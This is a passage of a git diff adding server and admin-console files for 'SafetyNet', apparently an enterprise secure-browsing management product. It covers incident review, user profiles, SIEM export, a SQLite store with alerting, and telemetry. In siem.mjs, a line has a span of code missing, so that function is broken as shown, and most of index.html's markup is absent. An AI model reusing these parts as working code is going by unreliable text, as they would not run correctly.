button=document.createElement('button');button.textContent='Review';button.className='secondary';button.onclick=task(()=>openIncident(incident.id));cell(row,'').append(button);$('incident-rows').append(row);}incidentCursor=result.nextBefore??null;$('incidents-more').hidden=incidentCursor===null;$('incidents-status').textContent=`${$('incident-rows').children.length} incidents shown${incidentCursor===null?'':' · older incidents available'}`;applyIncidentPermissions(currentPrincipal);} +async function openIncident(id){const result=await api(`/api/admin/incidents/${encodeURIComponent(id)}`),incident=result.incident||result;incidentSelection=incident;$('incident-detail').hidden=false;$('incident-title').textContent=`Incident · ${incident.event.kind}`;$('incident-revision').textContent=`${incident.id} · revision ${incident.revision} · updated ${new Date(incident.updatedAt).toLocaleString()}`;$('incident-event').textContent=JSON.stringify(incident.event,null,2);$('incident-state').value=incident.status;$('incident-severity').value=incident.severity;$('incident-assignee').value=incident.assignee||'';$('incident-comment').value='';$('incident-detail-status').textContent='';$('incident-history').replaceChildren();for(const entry of incident.history||[]){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong'),note=document.createElement('p');title.textContent=`Revision ${entry.revision} · ${entry.status} · ${entry.severity} · ${entry.actor} · ${new Date(entry.time).toLocaleString()}`;note.textContent=`Assignee: ${entry.assignee||'Unassigned'}${entry.comment?' · '+entry.comment:''}`;item.append(title,note);$('incident-history').append(item);}applyIncidentPermissions(currentPrincipal);} +$('incidents-refresh').onclick=task(()=>loadIncidents());for(const id of ['incident-status-filter','incident-severity-filter'])$(id).onchange=task(()=>loadIncidents());$('incidents-more').onclick=task(()=>loadIncidents(true));$('incident-detail-refresh').onclick=task(async()=>{if(incidentSelection)await openIncident(incidentSelection.id);}); +$('incident-save').onclick=task(async()=>{if(!incidentSelection)throw Error('Select an incident first.');try{await api(`/api/admin/incidents/${encodeURIComponent(incidentSelection.id)}`,{expectedRevision:incidentSelection.revision,status:$('incident-state').value,severity:$('incident-severity').value,assignee:$('incident-assignee').value.trim()||null,...($('incident-comment').value.trim()?{comment:$('incident-comment').value.trim()}:{})},'PATCH');await openIncident(incidentSelection.id);await loadIncidents();$('incident-detail-status').textContent='Investigation update saved.';}catch(error){$('incident-detail-status').textContent=`Update was not saved: ${error.message}. Your edits are preserved. Refresh the incident before trying again.`;throw error;}}); diff --git a/apps/server/public/index.html b/apps/server/public/index.html new file mode 100644 index 0000000..031164d --- /dev/null +++ b/apps/server/public/index.html @@ -0,0 +1,32 @@ +SafetyNet · Management +

SECURE ENTERPRISE BROWSING

Management console

Policies, people and protection in one workspace.

+

Administrator access

Sign in with your enterprise identity, or use the bootstrap token configured on the server.

+

+

Review policy changes

Review the changed policy paths before publication. Existing server validation and version checks remain authoritative.

+ + + + + + + + + + + + + + diff --git a/apps/server/public/profile-admin.js b/apps/server/public/profile-admin.js new file mode 100644 index 0000000..07a3a16 --- /dev/null +++ b/apps/server/public/profile-admin.js @@ -0,0 +1,13 @@ +/* Profiles add restrictions; reviewed developer grants require central delegation. */ +let profileState={version:0,profiles:[],categories:[],delegation:{devTools:false},devices:[]},selectedProfile=''; +const profileFeatureNames=['devTools','downloads','ai','agents']; +function profileDraft(){return {id:$('profile-id').value.trim(),name:$('profile-name').value.trim(),subjects:lines('profile-subjects'),deviceIds:groupSelected('profile-devices'),allowedHosts:lines('profile-allowed'),blockedHosts:lines('profile-blocked'),blockedCategoryIds:groupSelected('profile-categories'),features:Object.fromEntries(profileFeatureNames.map(key=>[key,$(key==='devTools'?'profile-devtools':`profile-${key}`).value])),requireDocumentScan:$('profile-scan').checked};} +function editProfile(profile){selectedProfile=profile?.id||'';$('profile-editor-title').textContent=profile?`Edit ${profile.name}`:'Create profile';$('profile-id').value=profile?.id||'';$('profile-id').readOnly=!!profile;$('profile-name').value=profile?.name||'';$('profile-subjects').value=(profile?.subjects||[]).join('\n');$('profile-allowed').value=(profile?.allowedHosts||[]).join('\n');$('profile-blocked').value=(profile?.blockedHosts||[]).join('\n');groupChecks('profile-devices',profileState.devices,profile?.deviceIds||[]);groupChecks('profile-categories',profileState.categories,profile?.blockedCategoryIds||[]);for(const key of profileFeatureNames)$(key==='devTools'?'profile-devtools':`profile-${key}`).value=profile?.features?.[key]||'inherit';$('profile-scan').checked=profile?.requireDocumentScan===true;$('profile-preview-summary').textContent='';$('profile-preview-diff').replaceChildren();applyProfilePermissions(currentPrincipal);} +function applyProfilePermissions(principal){if(!principal)return;const permissions=new Set(principal.permissions||[]),write=permissions.has('policy.write')||(independentApprovalRequired&&permissions.has('policy.prepare'));for(const field of $('user-profiles').querySelectorAll('input,textarea,select,button'))field.disabled=!write;for(const id of ['profiles-refresh','profile-preview-device','profile-preview'])$(id).disabled=!permissions.has('policy.read');for(const button of $('profiles-rows').querySelectorAll('button'))button.disabled=!permissions.has('policy.read');$('profile-delete').disabled=!write||!selectedProfile;$('profile-save').textContent=independentApprovalRequired?'Prepare profile for independent approval':'Publish profile';$('profile-config-save').textContent=independentApprovalRequired?'Prepare categories and delegation for approval':'Publish categories and delegation';} +async function loadUserProfiles(){profileState=await api('/api/admin/user-profiles');$('profiles-rows').replaceChildren();for(const profile of profileState.profiles){const row=document.createElement('tr');cell(row,profile.name);cell(row,`${profile.subjects.length} verified subjects / ${profile.deviceIds.length} devices`);cell(row,profile.features.devTools);const button=document.createElement('button');button.className='secondary';button.textContent='Edit profile';button.onclick=()=>editProfile(profile);cell(row,'').append(button);$('profiles-rows').append(row);}$('profile-preview-device').replaceChildren();$('profile-device-rows').replaceChildren();for(const device of profileState.devices){const row=document.createElement('tr');cell(row,device.name);cell(row,device.verifiedSubject?device.subject:'No verified subject; explicit device assignment only');cell(row,(device.profiles||[]).join(', ')||'Baseline');$('profile-device-rows').append(row);if(!device.revoked){const option=document.createElement('option');option.value=device.id;option.textContent=device.name;$('profile-preview-device').append(option);}}$('profiles-status').textContent=`${profileState.profiles.length} profiles / signed policy v${profileState.version}`;$('profile-delegation').checked=profileState.delegation.devTools===true;$('profile-category-json').value=JSON.stringify(profileState.categories,null,2);editProfile(profileState.profiles.find(profile=>profile.id===selectedProfile));} +$('profiles-refresh').onclick=task(loadUserProfiles);$('profile-new').onclick=()=>editProfile(); +$('profile-use-template').onclick=()=>{const kind=$('profile-template').value;editProfile({id:kind,name:kind==='developer'?'Developers':kind==='employee'?'Employees':'High protection',features:{devTools:kind==='developer'?'allow':'deny',downloads:kind==='high-protection'?'deny':'inherit',ai:'inherit',agents:kind==='high-protection'?'deny':'inherit'},requireDocumentScan:kind==='high-protection'});status('Class loaded into local draft. Assign verified subjects or managed devices and review before publication.');}; +$('profile-save').onclick=task(async()=>{const profile=profileDraft();if(!profile.id||!profile.name)throw Error('Enter profile identifier and name');const result=await api(`/api/admin/user-profiles/${encodeURIComponent(profile.id)}`,{expectedVersion:profileState.version,profile},'PUT');selectedProfile=profile.id;await load();policyMutationStatus(result,`Profile published as signed policy v${result.version}.`);}); +$('profile-delete').onclick=task(async()=>{if(!selectedProfile)throw Error('Select a published profile');const result=await api(`/api/admin/user-profiles/${encodeURIComponent(selectedProfile)}`,{expectedVersion:profileState.version},'DELETE');selectedProfile='';await load();policyMutationStatus(result,`Profile removed as signed policy v${result.version}.`);}); +$('profile-config-save').onclick=task(async()=>{const categories=JSON.parse($('profile-category-json').value),result=await api('/api/admin/user-profile-configuration',{expectedVersion:profileState.version,categories,delegation:{devTools:$('profile-delegation').checked}},'PUT');await load();policyMutationStatus(result,`Categories and delegation published as signed policy v${result.version}.`);}); +$('profile-preview').onclick=task(async()=>{const profile=profileDraft(),body={deviceId:$('profile-preview-device').value};if(profile.id)body.profile=profile;const result=await api('/api/admin/user-profiles/preview',body);$('profile-preview-summary').textContent=`Effective profiles: ${(result.profiles||[]).join(', ')||'baseline only'} / ${result.diff?.changes?.length||0} policy differences`;$('profile-preview-diff').replaceChildren();for(const change of result.diff?.changes||[]){const row=document.createElement('article');row.className='change-item';const title=document.createElement('strong'),before=document.createElement('pre'),after=document.createElement('pre');title.textContent=change.path;before.textContent=`Baseline: ${JSON.stringify(change.before)}`;after.textContent=`Effective: ${JSON.stringify(change.after)}`;row.append(title,before,after);$('profile-preview-diff').append(row);}if(result.diff?.truncated){const warning=document.createElement('p');warning.textContent='Diff truncated. Review the complete effective policy through the authenticated API.';$('profile-preview-diff').append(warning);}}); diff --git a/apps/server/public/style.css b/apps/server/public/style.css new file mode 100644 index 0000000..5ed1fe6 --- /dev/null +++ b/apps/server/public/style.css @@ -0,0 +1,15 @@ +/* The administration console uses quiet glass surfaces; website content is untouched. */ +:root{font-family:"Segoe UI",system-ui,-apple-system,sans-serif;color-scheme:light;--bg:#f4f6fa;--surface:#fff;--surface-soft:#f7f9fc;--text:#202936;--muted:#66758a;--border:#dde4ed;--accent:#176cce;--accent-soft:#eaf2ff;--sidebar:#f0f3f9;--shadow:0 3px 20px #1a36580a;color:var(--text);background:var(--bg)} +:root[data-theme=dark]{color-scheme:dark;--bg:#10151e;--surface:#1a2230;--surface-soft:#151d29;--text:#e6edf8;--muted:#a0b0c5;--border:#303c50;--accent:#79b6ff;--accent-soft:#253d5b;--sidebar:#151c29;--shadow:0 4px 24px #0002} +@media(prefers-color-scheme:dark){:root:not([data-theme=light]){color-scheme:dark;--bg:#10151e;--surface:#1a2230;--surface-soft:#151d29;--text:#e6edf8;--muted:#a0b0c5;--border:#303c50;--accent:#79b6ff;--accent-soft:#253d5b;--sidebar:#151c29;--shadow:0 4px 24px #0002}} +*{box-sizing:border-box}body{margin:0}html{scroll-behavior:smooth}aside{position:fixed;inset:0 auto 0 0;width:252px;background:var(--sidebar);border-right:1px solid var(--border);padding:28px 18px;display:flex;flex-direction:column;z-index:20;overflow:auto}.logo{display:flex;gap:12px;align-items:center;padding:0 9px 18px;font-weight:650;font-size:19px}.logo>b{display:grid;place-items:center;width:38px;height:38px;border-radius:12px;background:var(--accent);color:var(--bg);font-size:25px}.logo small{display:block;font-size:10px;font-weight:400;margin-top:4px;color:var(--muted)}nav{display:grid;gap:3px}.nav-group{font-size:10px;font-weight:700;letter-spacing:1.3px;color:var(--muted);margin:22px 12px 7px}nav a{color:var(--text);text-decoration:none;padding:10px 12px;border-radius:9px;font-size:13px}nav a:hover,nav a[aria-current=true]{background:var(--accent-soft);color:var(--accent)}.aside-note{margin-top:auto;padding:26px 10px 0;display:grid;gap:12px;font-size:12px;color:var(--muted)}.aside-note label{font-size:11px}.aside-note select{font-size:12px;padding:8px}.pill{font-size:11px;background:var(--accent-soft);color:var(--accent);padding:6px 10px;border-radius:20px;display:inline-block;width:fit-content}.skip-link{position:fixed;top:-100px;left:260px;z-index:100;padding:12px;background:var(--surface)}.skip-link:focus{top:8px}main{margin-left:252px;padding:36px 42px 64px;max-width:1740px}header,.section-head{display:flex;justify-content:space-between;align-items:center;gap:18px}header{margin-bottom:25px}.header-description{margin:8px 0 0;color:var(--muted);font-size:14px}h1{font-size:30px;letter-spacing:-1px;margin:7px 0;font-weight:650}h2{font-size:21px;letter-spacing:-.5px;margin:8px 0 16px;font-weight:650}h3{font-size:16px;margin-top:28px}p{line-height:1.65;font-size:13px}.eyebrow{font-size:10px;font-weight:750;letter-spacing:1.4px;color:var(--accent);margin:0}.muted,small{color:var(--muted);font-size:12px}.card{background:var(--surface);border:1px solid var(--border);border-radius:18px;padding:28px;margin-bottom:24px;scroll-margin-top:120px;box-shadow:var(--shadow)}.metrics{display:grid;grid-template-columns:repeat(4,1fr);gap:16px;margin:24px 0;scroll-margin-top:110px}.metrics article{background:var(--surface);border:1px solid var(--border);border-radius:16px;padding:22px;box-shadow:var(--shadow)}.metrics span{font-size:12px;color:var(--muted)}.metrics strong{display:block;font-size:30px;letter-spacing:-1px;margin-top:13px;font-weight:650}.overview-grid{display:grid;grid-template-columns:1.2fr 1fr;gap:20px}.overview-grid .card{min-width:0}.posture-item{display:flex;justify-content:space-between;gap:20px;padding:12px 0;border-bottom:1px solid var(--border);font-size:12px}.posture-item span{color:var(--muted)}.posture-item strong{font-weight:600;text-align:right}.workflow{padding-left:20px;font-size:13px;line-height:1.8;color:var(--muted)}.workflow li{padding:5px 0}.publish-bar{position:sticky;top:10px;z-index:10;background:var(--surface);border:1px solid var(--border);box-shadow:0 6px 25px #18345814;border-radius:14px;padding:14px 18px;display:flex;justify-content:space-between;align-items:center;gap:16px}.publish-bar strong{font-size:13px;display:block}.publish-bar span{display:block;font-size:11px;color:var(--muted);margin-top:4px}.publish-bar .row{margin:0}.draft-dirty{color:var(--accent)}.grid{display:grid;grid-template-columns:1fr 1fr;gap:20px;margin:24px 0}.wide{grid-column:1/-1}label{font-size:12px;font-weight:600;display:grid;gap:8px}small{font-weight:400}.row{display:flex;gap:12px;align-items:center;margin:20px 0}.row input{flex:1;min-width:100px}input,textarea,select{width:100%;font:inherit;border:1px solid var(--border);border-radius:9px;padding:11px 12px;background:var(--surface-soft);color:var(--text);transition:border-color .2s}input:hover,textarea:hover,select:hover{border-color:var(--muted)}input[type=color]{height:43px;padding:5px}input[type=checkbox]{accent-color:var(--accent);width:16px;height:16px}textarea{min-height:88px;resize:vertical}button,.button{font:inherit;font-size:12px;font-weight:600;background:var(--accent);color:var(--surface);border:1px solid transparent;border-radius:9px;padding:11px 16px;cursor:pointer;white-space:nowrap;text-decoration:none;display:inline-block;transition:filter .2s,transform .15s}button:hover,.button:hover{filter:brightness(.93)}button:active,.button:active{transform:translateY(1px)}.secondary{background:var(--surface-soft);color:var(--text);border-color:var(--border)}.danger{background:#b82e2812;color:#c44842;border-color:#c4484230}.checks{display:flex;gap:20px;flex-wrap:wrap;margin-bottom:24px}.checks label,label.checks{display:flex;align-items:center;font-weight:400}.checks input{width:auto}.file{margin:22px 0;max-width:480px}.rule{display:flex;align-items:center;justify-content:space-between;gap:12px;padding:14px;background:var(--surface-soft);border:1px solid var(--border);border-radius:10px;margin:8px 0;font-size:12px}.table-wrap{overflow:auto}table{width:100%;border-collapse:collapse;margin-top:20px;font-size:12px}th{text-align:left;color:var(--muted);font-weight:600;padding:12px;border-bottom:1px solid var(--border);background:var(--surface-soft)}td{padding:14px 12px;border-bottom:1px solid var(--border);max-width:420px;overflow-wrap:anywhere}td button{margin:3px}output{display:block;margin:16px 0;white-space:pre-wrap;overflow-wrap:anywhere}#status{color:var(--accent);min-height:20px;margin:0 0 12px}#status.error{color:#c44842}:focus-visible{outline:3px solid var(--accent);outline-offset:3px}[hidden]{display:none!important}.integration-item{border:1px solid var(--border);border-radius:10px;padding:14px 16px;margin:10px 0}.integration-item p{margin:6px 0 0;font-size:12px;color:var(--muted)}button:disabled,input:disabled,select:disabled,textarea:disabled{opacity:.55;cursor:not-allowed}#bookmarks td input{min-width:120px}#bookmarks td:nth-child(2){width:45%}#bookmarks .table-wrap{margin-bottom:18px}#bookmark-device{flex:1;min-width:160px}.filter-row{align-items:end}.filter-row label:first-child{flex:1}.filter-row output{font-size:12px;color:var(--muted)}dialog{background:var(--surface);color:var(--text);border:1px solid var(--border);border-radius:18px;padding:28px;width:min(840px,92vw);max-height:85vh;box-shadow:0 20px 80px #0003}dialog::backdrop{background:#10192566;backdrop-filter:blur(4px)}.change-item{background:var(--surface-soft);padding:14px;border:1px solid var(--border);border-radius:10px;margin:12px 0;font-size:12px}.change-item pre{white-space:pre-wrap;overflow-wrap:anywhere;color:var(--muted);font-size:11px}#security-json,#agents-json{font-family:Consolas,monospace;font-size:12px} +@supports(backdrop-filter:blur(20px)){.publish-bar{background:color-mix(in srgb,var(--surface) 90%,transparent);backdrop-filter:blur(20px) saturate(140%)}} +@media(max-width:1100px){aside{width:212px;padding:24px 12px}main{margin-left:212px;padding:28px}.metrics{grid-template-columns:repeat(2,1fr)}.row{flex-wrap:wrap}.overview-grid{grid-template-columns:1fr}.publish-bar{align-items:flex-start}}@media(max-width:760px){aside{position:relative;width:auto;padding:18px;border-right:0;border-bottom:1px solid var(--border)}nav{display:flex;overflow:auto;gap:4px}nav a{white-space:nowrap}.nav-group,.aside-note{display:none}.logo{padding-bottom:12px}main{margin:0;padding:20px}.grid{grid-template-columns:1fr}.wide{grid-column:auto}h1{font-size:26px}.card{padding:20px}.publish-bar{position:relative;top:0;flex-direction:column}.publish-bar .row{width:100%}.metrics{gap:12px}.metrics article{padding:18px}.filter-row label{width:100%}header{align-items:flex-start}.checks{gap:14px}.card{scroll-margin-top:20px}}@media(prefers-reduced-motion:reduce){html{scroll-behavior:auto}*,*::before,*::after{transition:none!important}} + +@media(max-width:760px){.aside-note{display:flex;align-items:center;padding:12px 8px 0;gap:12px}.aside-note select{width:170px}.aside-note .pill{display:none}.aside-note label{white-space:nowrap}} + +.header-actions{display:flex;gap:8px;flex-wrap:wrap;justify-content:flex-end} + +#history-diff-list{max-height:360px;overflow:auto;padding-right:8px}fieldset{border:1px solid var(--border);border-radius:12px;padding:18px;min-width:0}legend{font-size:12px;font-weight:650;color:var(--muted);padding:0 8px}fieldset .checks{margin:4px 0}details{border:1px solid var(--border);border-radius:12px;padding:16px}summary{cursor:pointer;font-size:12px;font-weight:650}details label{margin-top:16px} +#history-review{scroll-margin-top:120px} +.device-checklist{display:grid;gap:4px;max-height:240px;overflow:auto;margin-top:16px}.device-checklist label{margin:0;padding:8px;border-radius:8px;background:var(--surface-soft)}#group-preview-diff{max-height:320px;overflow:auto}#policy-groups fieldset .checks{gap:10px} diff --git a/apps/server/siem.mjs b/apps/server/siem.mjs new file mode 100644 index 0000000..b78f8a2 --- /dev/null +++ b/apps/server/siem.mjs @@ -0,0 +1,35 @@ +import { appendFileSync,readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { request } from 'node:https'; +import { toECS,toCEF } from '../../packages/core/siem.mjs'; +import { digest } from './store.mjs'; +export function startSIEM(store,directory,env=process.env) { + let stopped=false,running=false,failures=0,nextAttempt=0; + const url=env.SIEM_HTTP_URL?new URL(env.SIEM_HTTP_URL):null; + if(url&&(url.protocol!=='https:'||url.username||url.password))throw Error('SIEM push requires an HTTPS URL without embedded credentials'); + const tlsOptions={...(env.SIEM_CA_FILE?{ca:readFileSync(env.SIEM_CA_FILE)}:{}),...(env.SIEM_CERT_FILE?{cert:readFileSync(env.SIEM_CERT_FILE)}:{}),...(env.SIEM_KEY_FILE?{key:readFileSync(env.SIEM_KEY_FILE)}:{})}; + const format=env.SIEM_FORMAT||'ecs';if(!['ecs','cef'].includes(format))throw Error('SIEM_FORMAT must be ecs or cef'); + const cursorKey=url?`siem.remote.${digest(url.href+':'+format)}`:`siem.file.${format}`; + async function tick(){ + if(stopped||running||Date.now()? ORDER BY id LIMIT 100').all(after).map(e=>({...e,metadata:JSON.parse(e.metadata)})); + if(!rows.length)return; + const body=rows.map(e=>format==='ecs'?JSON.stringify(toECS(e,store.get('installationId'))):toCEF(e,store.get('installationId'))).join('\n')+'\n'; + if(url)await push(url,body,format,env.SIEM_HTTP_TOKEN,tlsOptions); + else appendFileSync(join(directory,`security.${format==='ecs'?'ndjson':'cef'}`),body,{mode:0o600,flush:true}); + if(!stopped)store.put(cursorKey,rows.at(-1).id);failures=0;nextAttempt=0; + }catch{failures++;nextAttempt=Date.now()+Math.min(300000,1000*2**Math.min(failures,8));} + finally{running=false;} + } + const timer=setInterval(tick,2000);timer.unref();tick(); + return {stop:()=>{stopped=true;clearInterval(timer);},flush:tick,status:()=>({configured:!!url,format,failures,cursor:store.get(cursorKey)||0,pending:store.db.prepare('SELECT count(*) AS n FROM events WHERE id>?').get(store.get(cursorKey)||0).n})}; +} +function push(url,body,format,credential,tlsOptions) { + return new Promise((resolve,reject)=>{ + const req=request(url,{method:'POST',...tlsOptions,headers:{'content-type':format==='ecs'?'application/x-ndjson':'text/plain','content-length':Buffer.byteLength(body),...(credential?{authorization:`Bearer ${credential}`}:{})}},res=>{ + res.resume();res.on('error',reject);res.on('end',()=>res.statusCode>=200&&res.statusCode<300?resolve():reject(Error('SIEM rejected batch'))); + });req.setTimeout(10000,()=>req.destroy(Error('SIEM timeout')));req.on('error',reject);req.end(body); + }); +} diff --git a/apps/server/store.mjs b/apps/server/store.mjs new file mode 100644 index 0000000..21792f0 --- /dev/null +++ b/apps/server/store.mjs @@ -0,0 +1,61 @@ +import { DatabaseSync } from 'node:sqlite'; +import { mkdirSync } from 'node:fs'; +import { join } from 'node:path'; +import { randomBytes, createHash, generateKeyPairSync } from 'node:crypto'; +import { defaultPolicy, signPolicy, PolicySchema } from '../../packages/core/policy.mjs'; +import { recordSecurityEvent } from './telemetry.mjs'; +import { evaluateSigma } from '../../packages/core/security.mjs'; +import { signBookmarkSnapshot } from '../../packages/core/bookmarks.mjs'; +import {applyUserProfiles} from '../../packages/core/user-profiles.mjs'; +import {applyPolicyGroups} from '../../packages/core/policy-groups.mjs'; +export const token = () => randomBytes(32).toString('base64url'); +export const digest = value => createHash('sha256').update(value).digest('hex'); +export function openStore(directory) { + mkdirSync(directory,{recursive:true,mode:0o700}); + const db = new DatabaseSync(join(directory,'safetynet.sqlite')); + db.exec(`PRAGMA journal_mode=WAL; PRAGMA foreign_keys=ON; + CREATE TABLE IF NOT EXISTS settings(key TEXT PRIMARY KEY,value TEXT NOT NULL); + CREATE TABLE IF NOT EXISTS devices(id TEXT PRIMARY KEY,name TEXT,platform TEXT,user TEXT,token_hash TEXT UNIQUE,revoked INTEGER DEFAULT 0,last_seen TEXT,policy_version INTEGER DEFAULT 0); + CREATE TABLE IF NOT EXISTS enrollments(hash TEXT PRIMARY KEY,expires INTEGER,user TEXT); + CREATE TABLE IF NOT EXISTS events(id INTEGER PRIMARY KEY AUTOINCREMENT,time TEXT,device_id TEXT,kind TEXT,metadata TEXT); + CREATE TABLE IF NOT EXISTS sessions(hash TEXT PRIMARY KEY,expires INTEGER,principal TEXT); + CREATE TABLE IF NOT EXISTS management_session_handles(handle TEXT PRIMARY KEY,session_hash TEXT UNIQUE REFERENCES sessions(hash) ON DELETE CASCADE); + CREATE TABLE IF NOT EXISTS logins(state TEXT PRIMARY KEY,expires INTEGER,verifier TEXT,nonce TEXT,ticket TEXT); + CREATE TABLE IF NOT EXISTS tickets(id TEXT PRIMARY KEY,secret_hash TEXT,expires INTEGER,credential TEXT); + CREATE TABLE IF NOT EXISTS policies(version INTEGER PRIMARY KEY,time TEXT,actor TEXT,policy TEXT); + CREATE TABLE IF NOT EXISTS policy_group_history(version INTEGER PRIMARY KEY REFERENCES policies(version),groups TEXT NOT NULL); + CREATE TABLE IF NOT EXISTS device_events(device_id TEXT,event_id TEXT,PRIMARY KEY(device_id,event_id)); + CREATE TABLE IF NOT EXISTS teaching(id TEXT PRIMARY KEY,time TEXT,actor TEXT,label TEXT,status TEXT,reference TEXT,reviewer TEXT,policy_version INTEGER); + CREATE TABLE IF NOT EXISTS bookmarks(device_id TEXT PRIMARY KEY REFERENCES devices(id),revision INTEGER NOT NULL,items TEXT NOT NULL); + CREATE TABLE IF NOT EXISTS alerts(id INTEGER PRIMARY KEY AUTOINCREMENT,event_id INTEGER,rule_id TEXT,level TEXT,time TEXT); + `); + if(!db.prepare('PRAGMA table_info(devices)').all().some(c=>c.name==='document_analysis_enabled'))db.exec('ALTER TABLE devices ADD COLUMN document_analysis_enabled INTEGER'); + if(!db.prepare('PRAGMA table_info(devices)').all().some(c=>c.name==='verified_subject'))db.exec('ALTER TABLE devices ADD COLUMN verified_subject TEXT'); + db.exec('CREATE TABLE IF NOT EXISTS user_profile_history(version INTEGER PRIMARY KEY REFERENCES policies(version),configuration TEXT NOT NULL)'); + const getRaw=key=>{const r=db.prepare('SELECT value FROM settings WHERE key=?').get(key);return r?JSON.parse(r.value):null;}; + const get = key => {const value=getRaw(key);return key==='policy'&&value?PolicySchema.parse(value):value;}; + const put = (key,value) => db.prepare('INSERT INTO settings VALUES(?,?) ON CONFLICT(key) DO UPDATE SET value=excluded.value').run(key,JSON.stringify(value)); + if(!get('keys')) {const k=generateKeyPairSync('ed25519'); put('keys',{privateKey:k.privateKey.export({type:'pkcs8',format:'pem'}),publicKey:k.publicKey.export({type:'spki',format:'pem'})});} + if(!getRaw('policy')) {const p=defaultPolicy();put('policy',p);db.prepare('INSERT INTO policies VALUES(?,?,?,?)').run(p.version,new Date().toISOString(),'bootstrap',JSON.stringify(p));} + db.prepare('INSERT OR IGNORE INTO policy_group_history(version,groups) VALUES(?,?)').run(getRaw('policy').version,JSON.stringify(getRaw('policyGroups')||[])); + db.prepare('INSERT OR IGNORE INTO user_profile_history(version,configuration) VALUES(?,?)').run(getRaw('policy').version,JSON.stringify(getRaw('userProfiles')||{profiles:[],categories:[]})); + if(!get('installationId'))put('installationId',token()); + function event(device,kind,metadata) { + const time=new Date().toISOString(),records=[];db.exec('SAVEPOINT security_event'); + try { + const insert=(eventKind,eventMetadata)=>{const result=db.prepare('INSERT INTO events(time,device_id,kind,metadata) VALUES(?,?,?,?)').run(time,device,eventKind,JSON.stringify(eventMetadata));records.push({kind:eventKind,metadata:eventMetadata,id:String(result.lastInsertRowid)});return Number(result.lastInsertRowid);}; + const sourceEventId=insert(kind,metadata); + for(const alert of evaluateSigma({kind,metadata},getRaw('policy')?.security?.sigma?.rules||[])) { + db.prepare('INSERT INTO alerts(event_id,rule_id,level,time) VALUES(?,?,?,?)').run(sourceEventId,alert.ruleId,alert.level,time); + insert('sigma.alert',{ruleId:alert.ruleId,level:alert.level,sourceEventId}); + } + db.exec('RELEASE security_event'); + }catch(error){db.exec('ROLLBACK TO security_event');db.exec('RELEASE security_event');throw error;} + for(const record of records)recordSecurityEvent(record.kind,record.metadata,record.id); + } + function personalBookmarks(deviceId){const row=db.prepare('SELECT revision,items FROM bookmarks WHERE device_id=?').get(deviceId);return row?{revision:row.revision,items:JSON.parse(row.items)}:{revision:0,items:[]};} + function effectivePolicy(deviceId){let p=get('policy');if(deviceId){const d=db.prepare('SELECT document_analysis_enabled FROM devices WHERE id=?').get(deviceId);if(d?.document_analysis_enabled!==null&&d?.document_analysis_enabled!==undefined)p.inspection.documentAnalysisEnabled=!!d.document_analysis_enabled;p=PolicySchema.parse(applyPolicyGroups(applyUserProfiles(p,getRaw('userProfiles')||{},db.prepare('SELECT * FROM devices WHERE id=?').get(deviceId)||{id:deviceId}),getRaw('policyGroups')||[],deviceId));}return p;} + return {db,get,getRaw,put,event,effectivePolicy,personalBookmarks,envelope:deviceId=>{const p=effectivePolicy(deviceId),keys=get('keys'),envelope=signPolicy(p,keys.privateKey);if(deviceId)envelope.bookmarks=signBookmarkSnapshot({deviceId,policyVersion:p.version,...personalBookmarks(deviceId),expiresAt:p.expiresAt},keys.privateKey);return envelope;},publicKey:()=>get('keys').publicKey}; +} + + diff --git a/apps/server/telemetry.mjs b/apps/server/telemetry.mjs new file mode 100644 index 0000000..2f61251 --- /dev/null +++ b/apps/server/telemetry.mjs @@ -0,0 +1,23 @@ +import { NodeSDK } from '@opentelemetry/sdk-node'; +import { OTLPTraceExporter } from '@opentelemetry/exporter-trace-otlp-http'; +import { trace, metrics } from '@opentelemetry/api'; +import { logs } from '@opentelemetry/api-logs'; +import { BatchLogRecordProcessor } from '@opentelemetry/sdk-logs'; +import { OTLPLogExporter } from '@opentelemetry/exporter-logs-otlp-http'; +import { OTLPMetricExporter } from '@opentelemetry/exporter-metrics-otlp-http'; +import { PeriodicExportingMetricReader } from '@opentelemetry/sdk-metrics'; +export function startTelemetry() { + if(!process.env.OTEL_EXPORTER_OTLP_ENDPOINT) return null; + const sdk = new NodeSDK({serviceName:'safetynet-control-plane',traceExporter:new OTLPTraceExporter(), + metricReaders:[new PeriodicExportingMetricReader({exporter:new OTLPMetricExporter(),exportIntervalMillis:10000})], + logRecordProcessors:[new BatchLogRecordProcessor({exporter:new OTLPLogExporter()})]}); + sdk.start(); return sdk; +} +export const tracer=trace.getTracer('safetynet','0.1.0'); +export function recordSecurityEvent(kind,metadata,eventId){ + // Only bounded, allowlisted fields. Never emit body text, rules, vectors or prompts. + const decision=metadata.decision??(kind.includes('block')?'block':'other'); + metrics.getMeter('safetynet').createCounter('safetynet.security.events').add(1,{'event.action':kind,'dlp.decision':decision}); + logs.getLogger('safetynet.security').emit({severityNumber:kind.includes('block')?13:9,severityText:kind.includes('block')?'WARN':'INFO',body:kind, + attributes:{'event.id':eventId,'event.action':kind,'dlp.decision':decision,...(metadata.ruleId?{'rule.id':metadata.ruleId}:{}),...(metadata.policyVersion?{'safetynet.policy.version':metadata.policyVersion}:{})}}); +} diff --git a/apps/server/user-profiles.mjs b/apps/server/user-profiles.mjs new file mode 100644 index 0000000..03d0660 --- /dev/null +++ b/apps/server/user-profiles.mjs @@ -0,0 +1,28 @@ +import {z} from 'zod'; +import {UserProfileSchema,UserProfileConfigurationSchema,DomainCategorySchema,profileApplies,applyUserProfiles} from '../../packages/core/user-profiles.mjs'; +import {PolicySchema} from '../../packages/core/policy.mjs'; +import {applyPolicyGroups} from '../../packages/core/policy-groups.mjs'; +import {policyDiff} from './policy-history.mjs'; +export function profilesForOperation(store,operation={}){ + const c=UserProfileConfigurationSchema.parse(store.getRaw('userProfiles')||{}); + if(operation.type==='profile-restore'||operation.configuration)return UserProfileConfigurationSchema.parse(operation.configuration); + if(operation.type==='profile-upsert'){const p=UserProfileSchema.parse(operation.profile);c.profiles=c.profiles.filter(x=>x.id!==p.id);c.profiles.push(p);} + if(operation.type==='profile-delete')c.profiles=c.profiles.filter(x=>x.id!==operation.profileId); + if(operation.type==='profile-configuration')c.categories=z.array(DomainCategorySchema).max(100).parse(operation.categories); + return c; +} +export function validateProfiles(store,policy,operation={},groups=store.getRaw('policyGroups')||[]){ + const c=profilesForOperation(store,operation),fail=m=>{throw Object.assign(Error(m),{status:409});}; + if(new Set(c.profiles.map(p=>p.id)).size!==c.profiles.length||new Set(c.categories.map(p=>p.id)).size!==c.categories.length)fail('Duplicate profile/category ID'); + for(const p of c.profiles){for(const id of 